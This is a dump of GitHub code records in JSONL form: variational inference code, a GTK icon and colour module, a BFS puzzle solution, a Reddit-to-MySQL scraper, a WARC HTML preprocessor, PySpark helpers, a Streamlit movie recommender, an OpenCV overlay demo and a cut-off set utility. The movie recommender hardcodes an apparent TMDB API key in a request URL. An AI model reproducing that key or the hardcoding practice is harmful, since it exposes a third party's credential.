tf.summary.scalar(\"loss/q_log_prob\", tf.reduce_mean(q_log_prob),\n collections=[self._summary_key])\n tf.summary.scalar(\"loss/reg_penalty\", reg_penalty,\n collections=[self._summary_key])\n\n log_w = p_log_prob - q_log_prob\n log_w_norm = log_w - tf.reduce_logsumexp(log_w)\n w_norm = tf.exp(log_w_norm)\n loss = tf.reduce_sum(w_norm * log_w) - reg_penalty\n\n q_rvs = list(six.itervalues(self.latent_vars))\n q_vars = [v for v in var_list\n if len(get_descendants(tf.convert_to_tensor(v), q_rvs)) != 0]\n q_grads = tf.gradients(\n -(tf.reduce_sum(q_log_prob * tf.stop_gradient(w_norm)) - reg_penalty),\n q_vars)\n p_vars = [v for v in var_list if v not in q_vars]\n p_grads = tf.gradients(-loss, p_vars)\n grads_and_vars = list(zip(q_grads, q_vars)) + list(zip(p_grads, p_vars))\n return loss, grads_and_vars\n","repo_name":"blei-lab/edward","sub_path":"edward/inferences/klpq.py","file_name":"klpq.py","file_ext":"py","file_size_in_byte":6819,"program_lang":"python","lang":"en","doc_type":"code","stars":4805,"dataset":"github-code","pt":"61"} +{"seq_id":"15163117329","text":"import os, gtk\n\nPATH = os.path.dirname(os.path.abspath(__file__))\nICONS_PATH = os.path.join(PATH, 'icons')\nGENERIC_ICONS_PATH = os.path.join(ICONS_PATH, 'generic')\nICONS16_PATH = os.path.join(ICONS_PATH, '16x16')\nICONS24_PATH = os.path.join(ICONS_PATH, '24x24')\nICONS32_PATH = os.path.join(ICONS_PATH, '32x32')\n\nFIXED16 = gtk.icon_size_register('FIXED16', 16, 16)\nFIXED22 = gtk.icon_size_register('FIXED22', 22, 22)\nFIXED24 = gtk.icon_size_register('FIXED24', 24, 24)\nFIXED32 = gtk.icon_size_register('FIXED32', 32, 32)\nFIXED48 = gtk.icon_size_register('FIXED48', 48, 48)\nFIXED64 = gtk.icon_size_register('FIXED64', 64, 64)\nFIXED128 = gtk.icon_size_register('FIXED128', 128, 128)\n\nSTOCK_ZOOM_PAGE = 'gtk-zoom-page'\nSTOCK_DONT_SAVE = 'gtk-action-dont-save'\n\nPROVIDERS = []\n\nSYSCOLORS = {\n\t\t'bg':(),\n\t\t'selected-bg':(),\n\t\t'insensitive-bg':(),\n\t\t'fg':(),\n\t\t'selected-fg':(),\n\t\t'insensitive-fg':(),\n\t\t'text':(),\n\t\t'selected-text':(),\n\t\t'insensitive-text':(),\n\t\t}\n\nSYSFONT = {'family':'', 'size':0}\n\ndef init_rc(mw):\n\tmw.realize()\n\tstyle = mw.get_style()\n\tbg = style.bg\n\tSYSCOLORS['bg'] = gdkcolor_to_rgb(bg[gtk.STATE_NORMAL])\n\tSYSCOLORS['selected-bg'] = gdkcolor_to_rgb(bg[gtk.STATE_SELECTED])\n\tSYSCOLORS['insensitive-bg'] = gdkcolor_to_rgb(bg[gtk.STATE_INSENSITIVE])\n\tfg = style.fg\n\tSYSCOLORS['fg'] = gdkcolor_to_rgb(fg[gtk.STATE_NORMAL])\n\tSYSCOLORS['selected-fg'] = gdkcolor_to_rgb(fg[gtk.STATE_SELECTED])\n\tSYSCOLORS['insensitive-fg'] = gdkcolor_to_rgb(fg[gtk.STATE_INSENSITIVE])\n\ttext = style.text\n\tSYSCOLORS['text'] = gdkcolor_to_rgb(text[gtk.STATE_NORMAL])\n\tSYSCOLORS['selected-text'] = gdkcolor_to_rgb(text[gtk.STATE_SELECTED])\n\tSYSCOLORS['insensitive-text'] = gdkcolor_to_rgb(text[gtk.STATE_INSENSITIVE])\n\tfont = style.font_desc\n\tSYSFONT['family'] = font.get_family()\n\tSYSFONT['size'] = font.get_size() / 1024\n\ndef registry_aliases(txt, overlay_icons=True):\n\n\ticonfactory = gtk.IconFactory()\n\n\t#--- Overlay for zoom icons\n\tif overlay_icons:\n\t\tgtk.stock_add([(STOCK_ZOOM_PAGE, '', 0, 0, ''), ])\n\n\t\titems = [gtk.STOCK_ZOOM_100, gtk.STOCK_ZOOM_FIT, gtk.STOCK_ZOOM_IN,\n\t\t\t\tgtk.STOCK_ZOOM_OUT, STOCK_ZOOM_PAGE]\n\n\t\tfor item in items:\n\t\t\ticonset = gtk.IconSet()\n\t\t\tsource = gtk.IconSource()\n\t\t\tfilepath = os.path.join(ICONS24_PATH, item + '.png')\n\t\t\tpixbuf = gtk.gdk.pixbuf_new_from_file(filepath)\n\t\t\tsource.set_pixbuf(pixbuf)\n\t\t\tsource.set_size_wildcarded(True)\n\t\t\ticonset.add_source(source)\n\t\t\ticonfactory.add(item, iconset)\n\n\t#---Registry DON'T SAVE item\n\taliases = [((STOCK_DONT_SAVE, txt, 0, 0, None),\n\t\t\t(STOCK_DONT_SAVE, gtk.STOCK_NO)), ]\n\titems = []\n\talias_items = []\n\tfor item in aliases:\n\t\titems.append(item[0])\n\t\talias_items.append(item[1])\n\n\tgtk.stock_add(items)\n\n\tfor item, alias in alias_items:\n\t\ticonset = gtk.icon_factory_lookup_default(alias)\n\t\ticonfactory.add(item, iconset)\n\n\ticonfactory.add_default()\n\ndef registry_provider(provider):\n\tPROVIDERS.append(provider)\n\ndef wal_provider(image_id):\n\tpath = os.path.join(GENERIC_ICONS_PATH, image_id + '.png')\n\tif os.path.isfile(path):return path\n\treturn None\n\nregistry_provider(wal_provider)\n\ndef get_image_path(image_id):\n\tfor item in PROVIDERS:\n\t\timagepath = item(image_id)\n\t\tif not imagepath is None: return imagepath\n\treturn None\n\ndef get_stock_pixbuf(image_id, size=FIXED16):\n\treturn gtk.Image().render_icon(image_id, size)\n\ndef get_pixbuf(image_id, size=FIXED16):\n\tif image_id[:4] == 'gtk-':\n\t\treturn get_stock_pixbuf(image_id, size)\n\telse:\n\t\tloader = gtk.gdk.pixbuf_new_from_file\n\t\timgpath = get_image_path(image_id)\n\t\tif imgpath is None:\n\t\t\treturn get_stock_pixbuf(gtk.STOCK_DELETE, size)\n\t\treturn loader(imgpath)\n\ndef get_stock_image(image_id, size=FIXED16):\n\timage = gtk.Image()\n\timage.set_from_pixbuf(get_stock_pixbuf(image_id, size))\n\treturn image\n\ndef get_image(image_id, size=FIXED16):\n\tif image_id[:4] == 'gtk-':\n\t\treturn get_stock_image(image_id, size)\n\telse:\n\t\timage = gtk.Image()\n\t\timage.set_from_pixbuf(get_pixbuf(image_id))\n\t\treturn image\n\ndef rgb_to_gdk_hexcolor(color):\n\tr, g, b = color\n\treturn '#%04x%04x%04x' % (r * 65535.0, g * 65535.0, b * 65535.0)\n\ndef rgb_to_gdkcolor(color):\n\treturn gtk.gdk.Color(rgb_to_gdk_hexcolor(color))\n\ndef gdk_hexcolor_to_rgb(hexcolor):\n\tr = int(hexcolor[1:5], 0x10) / 65535.0\n\tg = int(hexcolor[5:9], 0x10) / 65535.0\n\tb = int(hexcolor[9:], 0x10) / 65535.0\n\treturn (r, g, b)\n\ndef gdkcolor_to_rgb(color):\n\treturn gdk_hexcolor_to_rgb(color.to_string())\n\ndef rgb_to_gdkpixel(color):\n\tr, g, b = color\n\tr = int(r * 256);g = int(g * 256);b = int(b * 256)\n\treturn r * 256 * 256 * 256 + g * 65536 + b * 256 + 255\n","repo_name":"tisn05/sk1","sub_path":"src/wal/rc.py","file_name":"rc.py","file_ext":"py","file_size_in_byte":4516,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7347435310","text":"def solution(n, computers):\n from collections import deque\n answer = 0\n check = [0]*n\n que = deque()\n for i in range(n):\n if check[i]: continue\n answer += 1\n que.append(i)\n while que:\n x = que.pop()\n if check[x]:\n continue\n check[x] = 1\n for j in range(n):\n if computers[x][j]:\n que.append(j) \n return answer","repo_name":"soulchicken/crush-programmers-cote","sub_path":"Python/Level_3/05_네트워크.py","file_name":"05_네트워크.py","file_ext":"py","file_size_in_byte":447,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5779867405","text":"import mysql.connector \nimport re\nimport requests \n\nfrom nltk import TweetTokenizer \nfrom nltk.tokenize.treebank import TreebankWordDetokenizer \n\n# Get the username and password \n\nwith open('../../sc_auth.txt') as f:\n lines = f.readlines()\n\nfor i, line in enumerate(lines):\n line = re.sub(\"\\n\", \"\", line)\n lines[i] = line\n\nusername = lines[0]\npassword = lines[1]\n\nsubreddit_names = {\"science\": \"science\", \"askscience\": \"science\", \"biology\": \"science\",\n \"physics\": \"science\", \"chemistry\": \"science\",\n \"sports\": \"sports\", \"nba\": \"sports\", \"soccer\": \"sports\",\n \"nfl\": \"sports\", \"baseball\": \"sports\",\n \"parenting\": \"family\", \"justnomil\": \"family\", \"entitledparents\": \"family\",\n \"insaneparents\": \"family\", \"childfree\": \"family\",\n \"personalfinance\": \"finance\", \"CanadianInvestor\": \"finance\", \"investing\": \"finance\",\n \"economics\": \"finance\", \"personalfinancecanada\": \"finance\",}\n\ntitles = []\n\n# Extract titles from chosen subreddits by calling api\n\ndef titles_api(subreddit_names, titles):\n\n for name in subreddit_names:\n subreddit_name = name\n response = requests.get(\"https://www.reddit.com/r/\" + subreddit_name + \".json?limit=100\", headers = {'User-agent': 'your bot 0.1'})\n\n data = response.json()\n\n sub_titles = []\n\n for i in data['data']['children']:\n title = i['data']['title'].lower()\n title = re.sub(\"[^a-zA-Z0-9?]\", \" \", title)\n title = TweetTokenizer().tokenize(title)\n clean_title = TreebankWordDetokenizer().detokenize(title)\n text = i['data']['selftext'].lower()\n text = re.sub(\"[^a-zA-Z0-9?]\", \" \", text)\n text = TweetTokenizer().tokenize(text)\n if len(title) < 20:\n full_text = TreebankWordDetokenizer().detokenize(title + text[:20-len(title)])\n else:\n full_text = clean_title\n sub_titles.append((full_text, subreddit_name, subreddit_names[subreddit_name]))\n\n sub_titles = sub_titles[2:]\n titles.extend(sub_titles)\n\n return titles\n\nsql = \"INSERT INTO reddit_topics (title, subreddit, topic) VALUES (%s, %s, %s)\"\ntitles = titles_api(subreddit_names, titles)\n\nmydb = mysql.connector.connect(\n user=username, \n password=password, \n db=\"reddit_posts\"\n)\n\nmycursor = mydb.cursor()\n\n# Create table reddit_topics\n\nmycursor.execute(\"CREATE TABLE reddit_topics(id INT AUTO_INCREMENT,\" \n + \" title MEDIUMTEXT,\"\n + \" subreddit VARCHAR(255),\"\n + \" topic VARCHAR(255),\"\n + \" PRIMARY KEY(id));\")\n\nmycursor.executemany(sql, titles)\nmydb.commit()","repo_name":"hilalgenc/Subreddit_Classifier","sub_path":"topic/fetch_api.py","file_name":"fetch_api.py","file_ext":"py","file_size_in_byte":2753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10510466433","text":"import gzip\r\nimport unicodedata\r\nimport argparse\r\nimport multiprocessing as mp\r\nimport csv\r\nimport datetime\r\nfrom html import unescape\r\nimport os\r\nimport re\r\nfrom io import TextIOWrapper\r\nfrom typing import Iterator, List, Tuple, Union\r\n\r\nimport nltk\r\nfrom bs4 import BeautifulSoup, MarkupResemblesLocatorWarning\r\nimport warnings\r\n\r\nwarnings.filterwarnings(\"ignore\", category=MarkupResemblesLocatorWarning, module='bs4')\r\n\r\n\r\ndef _find_html(payload: str) -> Union[Tuple[str, List[str]], Tuple[None, None]]:\r\n \"\"\"Finds the WARC-TREC-ID and HTML content in a warc file.\r\n Gives back None, None if the key or HTML wasn't found.\r\n\r\n :param payload: The payload is an entire warc file. It contains information on the WARC file followed by file header\r\n information like the file type and lastly contains the body of the file.\r\n :type payload: str.\r\n :return: Pair of the WARC-TREC-ID and HTML body. Returns None, None if no key or no html was found.\r\n :rtype: Union[Tuple[str, List[str]], Tuple[None, None]]\r\n \"\"\"\r\n if payload == '':\r\n return None, None\r\n\r\n key = None\r\n html_type = False\r\n\r\n lines = payload.splitlines()\r\n\r\n # WARC line always at index 2 in test input. TODO check if this assumption holds\r\n warc_trec_line = lines[2]\r\n if warc_trec_line.startswith(\"WARC-TREC-ID\"):\r\n key = warc_trec_line.split(': ')[1]\r\n\r\n if key is None:\r\n return None, None\r\n\r\n max_i = len(lines)\r\n i = 10\r\n\r\n while i < max_i:\r\n line = lines[i].lower()\r\n i += 1\r\n if line.startswith(\"content-type\") and \"html\" in line:\r\n html_type = True\r\n if line == \"\": # Always newline after HTTP request.\r\n break\r\n\r\n if html_type is False:\r\n return None, None\r\n\r\n # lines[i:] contains the entire body.\r\n return key, lines[i:]\r\n\r\n\r\ndef split_records(stream: TextIOWrapper) -> Iterator[str]:\r\n \"\"\"Splits the stream of warc files into separate warc files using the \"WARC/1.0\" flag.\r\n Gives back an iterator to step over the warc files.\r\n\r\n :param stream: Text from the entire warc zip given as an IO stream.\r\n :type stream: TextIOWrapper\r\n :return: Yields the payload of a single warc file.\r\n :rtype: Iterator[str]\r\n \"\"\"\r\n payload = ''\r\n for line in stream:\r\n if line.strip() == \"WARC/1.0\":\r\n yield payload\r\n payload = ''\r\n else:\r\n payload += line\r\n yield payload\r\n\r\n\r\ndef _join_sentences(sentences: List[str]) -> str:\r\n \"\"\"Join sentences with a dot for later processing as sentences in the entity linking and relation extraction.\r\n\r\n :param sentences: List of sentences\r\n :type sentences: List[str]\r\n :return: All sentences combined into a single string, separating sentences with a dot.\r\n :rtype: str\r\n \"\"\"\r\n return ' '.join([\r\n sentence\r\n if len(sentence) > 0 and sentence[-1] == '.'\r\n else sentence + \".\"\r\n for sentence in sentences\r\n ])\r\n\r\n\r\ndef _valid_word(word: str) -> bool:\r\n \"\"\"Filters invalid words that cannot be processed in later stages.\r\n Invalid words include:\r\n - Empty words: len of 0.\r\n - Words only containing one symbol: len of 0 and contains symbol.\r\n - Words containing invalid symbols: valid symbols include alphanumerical, '$', '€', ':', '.', ',', and '-'.\r\n\r\n :param word: A single word directly taken from the HTML file.\r\n :type word: str\r\n :return: True if the word is valid, False otherwise.\r\n :rtype: bool\r\n \"\"\"\r\n # TODO might want to adjust regex so that it actually processes proper money format, dates, proper punctuation.\r\n return len(word) > 0 and \\\r\n not (re.match(r'[^a-zA-Z\\d$€:.,-]', word) or (len(word) == 1 and re.match(r'[^a-zA-Z\\d]', word)))\r\n\r\n\r\ndef _sanitize_word(word: str) -> str:\r\n \"\"\"Sanitizes a words. Removes potential double punctuation or other invalid symbols at the end of the word.\r\n\r\n :param word: A potentially dirty, but valid word. Could include additional punctuation due to joining of sentence.\r\n :type word: str\r\n :return: Word with double punctuation or invalid symbols at end of word removed.\r\n :rtype: str\r\n \"\"\"\r\n # TODO double punctuation problem might have been solved by new join sentences approach.\r\n if len(word) == 0:\r\n return word\r\n # Check if last character is dot.\r\n if word[-1] == '.':\r\n # Check if second last character is not alpha numerical.\r\n if not word[-2].isalnum():\r\n # Prune invalid characters and add dot.\r\n return word[:-2] + '.'\r\n # Check if last character is not alpha numerical.\r\n elif not word[-1].isalnum():\r\n # Prune invalid character at end of word\r\n return word[:-1]\r\n return word\r\n\r\n\r\ndef _process_text(text: str) -> str:\r\n \"\"\"Split text into sanitized words and tokenize to find sentences.\r\n Gives back all sentences as a combined body of text.\r\n\r\n :param text: All unprocessed text found within a tag.\r\n :type text: str\r\n :return: Processed body of text as combined sentences.\r\n :rtype: str\r\n \"\"\"\r\n # Create list of valid sanitized words out of the text.\r\n filtered_words = [_sanitize_word(word) for word in text.split(' ') if _valid_word(word)]\r\n\r\n # Find sentences in the combined bag of words (bag of words still contain original dots.\r\n tokenized_sentences = nltk.tokenize.sent_tokenize(\" \".join(filtered_words))\r\n\r\n return _join_sentences(tokenized_sentences)\r\n\r\n\r\ndef _get_soup_text(html_soup: BeautifulSoup) -> str:\r\n \"\"\"Get all text from header and p tags of the BeautifulSoup object.\r\n\r\n :param html_soup: BeautifulSoup object of the HTML contents in the payload.\r\n :type html_soup: BeautifulSoup\r\n :return: Joined sentences from all header and p tags.\r\n :rtype: str\r\n \"\"\"\r\n text_tags = [text_tag.text for text_tag in html_soup.find_all(re.compile('^h[1-6]$')) + html_soup.find_all('p')\r\n if text_tag.text is not None]\r\n return _join_sentences(text_tags)\r\n # Could also return all text, would also include text included via div or span that is not in h or p tag.\r\n # return html_soup.get_text()\r\n\r\n\r\ndef process_payload(warc_file: str) -> Union[Tuple[str, str, str, str], Tuple[None, None, None, None]]:\r\n \"\"\"Process the payload of a single warc file.\r\n Performs the following steps:\r\n 1. Finds WARC-TREC-ID and HTML content.\r\n 2. Normalizes the data.\r\n 3. Processes HTML title, HTML headers, and HTML text tags.\r\n 4. Return the results as a tuple.\r\n\r\n :param warc_file: contents of entire warc file.\r\n :type warc_file: str\r\n :return: Tuple of WARC-TREC-ID, HTML title, HTML headers, and HTML text tags. None tuple if no contents were found.\r\n :rtype: Union[Tuple[str, str, str, str], Tuple[None, None, None, None]\r\n \"\"\"\r\n # Retrieve key and HTML content of warc file.\r\n file_key, html_file = _find_html(warc_file)\r\n\r\n if file_key is not None:\r\n # Turn unicode characters into python characters.\r\n normalized_html = unicodedata.normalize(\"NFKC\", unescape(\" \".join(html_file)))\r\n\r\n # Create Soup object from the HTML.\r\n html_soup = BeautifulSoup(normalized_html, \"html.parser\")\r\n\r\n # Get HTML title if there is a title.\r\n title = html_soup.title\r\n title_text = \"\"\r\n if title is not None and title.string is not None:\r\n title_text = title.string\r\n\r\n # Get all headers from HTML.\r\n headers = [header.text for header in html_soup.find_all(re.compile('^h[1-6]$'))]\r\n headers_text = _join_sentences(headers)\r\n\r\n # Get all text as defined in _get_soup_text() from HTML.\r\n all_text = _get_soup_text(html_soup)\r\n\r\n # Process title, headers, and all text into valid sentences.\r\n processed_title = _process_text(title_text)\r\n processed_headers = _process_text(headers_text)\r\n processed_all_text = _process_text(all_text)\r\n\r\n # Prepend title to all text. Should only happen if _get_soup_text() doesn't include the title.\r\n title_and_text = (processed_title + \" \" + processed_all_text).strip()\r\n\r\n return file_key, processed_title, processed_headers, title_and_text\r\n return None, None, None, None\r\n\r\n\r\ndef process_warc_zip() -> List[Tuple[str, str, str, str]]:\r\n \"\"\"Parses warc contents of zip located at /data/warcs/sample.warc.gz.\r\n Does this using all present CPU cores using the Iterator from split_records.\r\n Gives back a list of processed files that were individual warc files in the zip with HTML as content.\r\n\r\n :return: List of processed warc files containing the WARC-TREC-ID, HTML title, HTML headers, and HTML text tags.\r\n :rtype: List[Tuple[str, str, str, str]]\r\n \"\"\"\r\n # Dependency of nltk.tokenize\r\n nltk.download(\"punkt\", quiet=True)\r\n\r\n with gzip.open(\"data/warcs/sample.warc.gz\", 'rt', errors='ignore') as fo:\r\n pool_size = mp.cpu_count()\r\n\r\n # Force single threaded behaviour for debugging.\r\n # pool_size = 1\r\n if pool_size > 1:\r\n with mp.Pool(processes=pool_size) as pool:\r\n processed_files = pool.map(process_payload, split_records(fo))\r\n else:\r\n processed_files = [process_payload(payload) for payload in split_records(fo)]\r\n\r\n return [row for row in processed_files if _valid_row(row)]\r\n\r\n\r\ndef save_pre_proc(\r\n pre_proc_dir: str,\r\n processed_files: List[Tuple[str, str, str, str]],\r\n filename: str\r\n):\r\n \"\"\"Store the processed files as CSV in folder /pre-proc/ under the name of filename.\r\n\r\n :param pre_proc_dir: Directory to store the preprocessed file in.\r\n :type pre_proc_dir: str\r\n :param processed_files: Rows to store containing WARC-TREC-ID, HTML title, HTML headers, and HTML text tags.\r\n :type processed_files: List[Tuple[str, str, str, str]]\r\n :param filename: Filename of csv to store processed files in.\r\n :type filename: str\r\n \"\"\"\r\n\r\n with open(f\"{pre_proc_dir}/{filename}.csv\", 'w', newline='', encoding='UTF-8') as file:\r\n writer = csv.writer(file, quoting=csv.QUOTE_NONE, escapechar='\\\\')\r\n\r\n # Write rows if the row is valid.\r\n writer.writerows(processed_files)\r\n\r\n\r\ndef _valid_row(row: Union[Tuple[str, str, str, str], Tuple[None, None, None, None]]) -> bool:\r\n \"\"\"Check if the row contains a key and parsed the text tags.\r\n\r\n :param row: Union[Tuple[str, str, str, str], Tuple[None, None, None, None]]\r\n :type row: Row tuple with string content or None tuple.\r\n :return: True if the tuple contained strings in index 0 and 3.\r\n :rtype: bool\r\n \"\"\"\r\n if len(row) < 4:\r\n return False\r\n\r\n # Check whether key is present and HTML text tags contains non-empty string.\r\n if row[0] is not None and row[3] is not None and len(row[3]) > 0:\r\n return True\r\n return False\r\n\r\n\r\nif __name__ == \"__main__\":\r\n parser = argparse.ArgumentParser(\"wdp\")\r\n parser.add_argument(\r\n \"--warc_output\",\r\n dest=\"filename\",\r\n required=False,\r\n help=\"A file name for the preprocessed warc zip.\",\r\n type=str\r\n )\r\n args = parser.parse_args()\r\n\r\n if args.filename is None:\r\n warc_filename = f'warcs-{datetime.datetime.now().strftime(\"%Y%m%d-%H%M%S\")}'\r\n else:\r\n warc_filename = args.filename\r\n\r\n pre_proc = process_warc_zip()\r\n\r\n save_pre_proc(\"pre-proc\", pre_proc, warc_filename)\r\n","repo_name":"anusha3ali/WDPS","sub_path":"warc.py","file_name":"warc.py","file_ext":"py","file_size_in_byte":11442,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"43518999063","text":"\nimport os\n\nimport pyspark.sql\nimport pandas as pd\nfrom pyspark.sql import SparkSession\nfrom pyspark.sql.utils import AnalysisException\nfrom pyspark.sql.functions import lit ,concat_ws\nfrom typing import List\nfrom pandas import DataFrame\nfrom collections import defaultdict\n\ndef get_project_root() -> str:\n \"\"\"\n Gives the Absolute path of the project where this utils package resides. This may give incorrect results if\n the file is placed somewhere else.\n :return: Project Root\n\n \"\"\"\n return os.path.abspath(os.path.join(os.path.dirname(os.path.abspath(__file__)), '..'))\n\n\ndef csv_to_pyspark_df(spark_session: SparkSession, csv_file_path: str) -> pyspark.sql.DataFrame:\n \"\"\"\n Read and create PySpark DataFrame from a CSV file.\n :param spark_session: PySpark Session\n :param csv_file_path: File path of the CSV to read.\n :return: PySpark DataFrame Object\n :raises: TypeError\n :raises: Exception\n :raises AnalysisException\n \"\"\"\n if spark_session and csv_file_path and isinstance(spark_session, SparkSession) and isinstance(csv_file_path, str):\n try:\n return spark_session.read.csv(csv_file_path, header=True)\n except TypeError:\n raise TypeError(\"File Path not in correct format.\")\n except AnalysisException as ae:\n raise ae\n raise TypeError(\"Spark Session not provided/CSV file path not in correct type.\")\n\n\ndef add_column_to_dataframe(dataframe: pyspark.sql.DataFrame, column_to_add: str, column_config: dict) -> DataFrame:\n \"\"\"\n Adds a column to PySpark DataFrame with its values.\n :param dataframe: PySpark Dataframe Object\n :param column_to_add: Column name to add\n :param column_config: Dict with column values {'column_index': 'column_value', ...}\n :return: Pandas DataFrame Object\n \"\"\"\n pandas_dataframe = None\n if dataframe and dataframe.count() > 0 and column_config and column_to_add:\n dataframe_with_new_column = dataframe.withColumn(column_to_add, lit(''))\n pandas_dataframe = dataframe_with_new_column.toPandas()\n for column_index, column_value in column_config.items():\n pandas_dataframe.at[column_index, column_to_add] = column_value\n elif dataframe and dataframe.count() > 0:\n pandas_dataframe = dataframe.toPandas()\n return pandas_dataframe\n\n\ndef dataframe_to_excel(dataframes: List[DataFrame], path: str, filename: str, sheet_names: List[str] = list()) -> bool:\n \"\"\"\n Converts a list of Pandas dataframes to Excel\n :param dataframes: List of Pandas Dataframe Objects\n :param path: Path where Excel will be saved\n :param filename: Excel filename with extension (.xlsx)\n :param sheet_names: List of Sheet names\n :return: Boolean flag to check status\n \"\"\"\n if path and filename and dataframes and len(dataframes) > 0:\n local_path = '{0}/{1}'.format(path, filename)\n with pd.ExcelWriter(local_path) as writer:\n try:\n for idx, dataframe in enumerate(dataframes):\n if dataframe is not None and not dataframe.empty:\n sheet_name = sheet_names[idx] if sheet_names and sheet_names[idx] else ('Sheet_{0}'.format(idx))\n dataframe.to_excel(writer, sheet_name=sheet_name, encoding='utf-8', index=False)\n return True\n except Exception as exception:\n print('Exception: {}'.format(exception))\n return False\n\n\ndef sourcing_error_and_warnings_df(self,error,warnings):\n '''\n Merging all error and warnings to error and warnings df\n this method will add error and warnings to seprate\n self.error and self.warnings variable as pandas df\n '''\n\n error_schema = [\"sourcing\",\"qualification_status\",\"part_partner_err\",\"annual_spend_on_partner_part\",\"partner_part\",\"part_err\",\"part_custom_defined_risk_score_1\",'part_custom_defined_risk_score_2'\\\n ,'part_custom_defined_risk_score_3','part_custom_defined_risk_score_4','part_custom_defined_risk_score_5']\n warning_schema = ['partner_part_annual_spend_on_partner_part','part_desc']\n\n error = error.toDF(error_schema,sampleRatio=0.01)\n warnings = warnings.toDF(warning_schema,sampleRatio=0.01)\n self.error = error.select(concat_ws('||',*error.columns).alias('error')).toPandas()\n self.warnings = warnings.select(concat_ws('||',*warnings.columns).alias('warnings')).toPandas()\n\n\"\"\"\nUtility function for sourcing tab\n\"\"\"\ndef is_valid_risk(val):\n if not is_float(val):\n return False\n risk = round(float(str(val).strip()),2)\n if risk >= 1 and risk <= 10:\n return True\n return False\n\ndef is_float(val):\n try:\n float(str(val));\n return True;\n except Exception as ex:\n return False\n\n \ndef is_valid_revenue_between_range(val, start, end):\n val = str(val).replace(',','').replace('$','')\n if is_float(val):\n# val = round(float(val), 4)\n val = float(val)\n return (val >= start and val < end)\n del val\n return False\n\n\ndef comb(i,j,run=None):\n part_desc_map = defaultdict(set)\n if run == 'spend':\n i,j = j,i\n desc_set = part_desc_map[j]\n if(len(desc_set)<=1):\n if type(i)==str:\n i=i.lower()\n desc_set.add(i)\n del part_desc_map\n return desc_set\n","repo_name":"Revanth-23/projectproverance","sub_path":"ProjectProvenance /utils/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":5339,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"562375620","text":"import pickle\r\nimport streamlit as st\r\nimport requests\r\n\r\ndef movie_poster(movie_id):\r\n url = \"https://api.themoviedb.org/3/movie/{}?api_key=8265bd1679663a7ea12ac168da84d2e8&language=en-US\".format(movie_id)\r\n data = requests.get(url)\r\n data = data.json()\r\n poster_path = data['poster_path']\r\n full_path = \"https://image.tmdb.org/t/p/w500/\" + poster_path\r\n return full_path\r\n\r\ndef movie_recommend(movie):\r\n index = movies[movies['title'] == movie].index[0]\r\n distances = sorted(list(enumerate(similarity[index])), reverse=True, key=lambda x: x[1])\r\n recommended_movie_names = []\r\n recommended_movie_posters = []\r\n for i in distances[1:6]:\r\n # fetch the movie poster\r\n movie_id = movies.iloc[i[0]].id\r\n recommended_movie_posters.append(movie_poster(movie_id))\r\n recommended_movie_names.append(movies.iloc[i[0]].title)\r\n\r\n return recommended_movie_names,recommended_movie_posters\r\n\r\nst.title(':violet[Movie Recommender System]')\r\nmovies= pickle.load(open(r\"C:\\Users\\bhask\\Desktop\\DATA SCIENCE AND ANALYTICS\\Internship_Inno\\FINAL_INTERNSHIP_PROJECT\\Movie_Recommendation_Deployment\\movie_list_new.pkl\", 'rb'))\r\nsimilarity = pickle.load(open(r\"C:\\Users\\bhask\\Desktop\\DATA SCIENCE AND ANALYTICS\\Internship_Inno\\FINAL_INTERNSHIP_PROJECT\\Movie_Recommendation_Deployment\\cosine_simil_new.pkl\", 'rb'))\r\n\r\nmovie_list = movies['title'].values\r\nselected_movie = st.selectbox( \":blue[Look and select a movie in the drop-down or enter a movie name]\",movie_list)\r\n\r\nif st.button('Show Recommendation'):\r\n st.snow()\r\n st.markdown(\"https://www.linkedin.com/in/bhaskar-bhallamudi-6a7a511ba/\")\r\n recommended_movie_names,recommended_movie_posters = movie_recommend(selected_movie)\r\n col1, col2, col3, col4, col5 = st.columns(5)\r\n with col1:\r\n st.subheader(recommended_movie_names[0])\r\n st.image(recommended_movie_posters[0])\r\n with col2:\r\n st.subheader(recommended_movie_names[1])\r\n st.image(recommended_movie_posters[1])\r\n\r\n with col3:\r\n st.subheader(recommended_movie_names[2])\r\n st.image(recommended_movie_posters[2])\r\n with col4:\r\n st.subheader(recommended_movie_names[3])\r\n st.image(recommended_movie_posters[3])\r\n with col5:\r\n st.subheader(recommended_movie_names[4])\r\n st.image(recommended_movie_posters[4])","repo_name":"Bhaskar-Bhallamudi/Movie_Recommendation_System_Content_Based_plot_based","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"30923501837","text":"# 贴图\n\nimport cv2\n\nimg1 = cv2.imread('lena.jpg', cv2.IMREAD_COLOR)\nimg2 = cv2.imread('fox.png', cv2.IMREAD_COLOR)\n\nsize1 = (128, 128)\nsize2 = (32, 32)\nimg1 = cv2.resize(img1, size1)\nimg2 = cv2.resize(img2, size2)\n# 从原图扣一部分,大小与小图相同\nimg_reg = img1[:size2[0], :size2[0]]\n# 和小图片合并\nimg_3 = cv2.addWeighted(img2, 0.6, img_reg, 0.8, 0)\n# 需要展示的图片,复制大图\nimg4 = img1\n# 把大图的一部分改为合并好的小图\nimg4[:size2[0], :size2[0]] = img_3\n# 显示图片\ncv2.imshow('3', img4)\n\nK = cv2.waitKey(0)","repo_name":"lehaifeng000/cv_demo_py","sub_path":"demo0930/t2.py","file_name":"t2.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"43256229105","text":"class SetTrippin(object):\n\n \n def setCreator(self, preSet):\n \"\"\"\n Args: preSet: String\n Return: postSet: Set of processed 'preSet' string\n \"\"\"\n preSet = self.removeDelimiters(preSet)\n postSet = set(preSet.split(\" \"))\n return postSet\n\n \n def setIntersection(self, set1, set2):\n \"\"\"\n Args: set1: String\n set2: String\n Return: None, prints the intersections or notifies user that there is a lack of intersections.\n \"\"\"\n set3 = set1.intersection(set2)\n if not set3 or '' in set3:\n print(\"There are no points of 